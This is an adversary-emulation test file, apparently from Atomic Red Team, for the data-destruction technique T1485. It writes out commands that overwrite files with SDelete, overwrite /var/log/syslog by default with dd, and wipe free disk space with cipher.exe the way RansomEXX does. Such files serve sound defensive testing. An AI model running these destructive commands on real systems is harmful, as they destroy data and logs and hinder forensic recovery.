attack_technique: T1485
display_name: Data Destruction
atomic_tests:
- name: Windows - Overwrite file with Sysinternals SDelete
  auto_generated_guid: 476419b5-aebf-4366-a131-ae3e8dae5fc2
  description: |
    Overwrites and deletes a file using Sysinternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in
    the powershell session along with other information about the file that was deleted.
  supported_platforms:
  - windows
  input_arguments:
    sdelete_exe:
      description: Path of sdelete executable
      type: Path
      default: $env:TEMP\Sdelete\sdelete.exe
    file_to_delete:
      description: Path of file to delete
      type: Path
      default: $env:TEMP\T1485.txt
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Secure delete tool from Sysinternals must exist on disk at specified location (#{sdelete_exe})
    prereq_command: |
      if (Test-Path #{sdelete_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "$env:TEMP\SDelete.zip"
      Expand-Archive $env:TEMP\SDelete.zip $env:TEMP\Sdelete -Force
      Remove-Item $env:TEMP\SDelete.zip -Force
  executor:
    command: |
      if (-not (Test-Path #{file_to_delete})) { New-Item #{file_to_delete} -Force }
      Invoke-Expression -Command "#{sdelete_exe} -accepteula #{file_to_delete}"
    name: powershell
- name: macOS/Linux - Overwrite file with DD
  auto_generated_guid: 38deee99-fd65-4031-bec8-bfa4f9f26146
  description: |
    Overwrites and deletes a file using DD.
    To stop the test, break the command with CTRL/CMD+C.
  supported_platforms:
  - linux
  - macos
  input_arguments:
    overwrite_source:
      description: Path of data source to overwrite with
      type: Path
      default: /dev/zero
    file_to_overwrite:
      description: Path of file to overwrite and remove
      type: Path
      default: /var/log/syslog
  executor:
    command: |
      dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes
    name: bash
- name: Overwrite deleted data on C drive
  auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19
  description: |
    RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover.
    This process is very slow and test execution may timeout. 
    https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware
    https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4
  supported_platforms:
  - windows    
  executor:  
    command: |
      cipher.exe /w:C:
    name: command_prompt
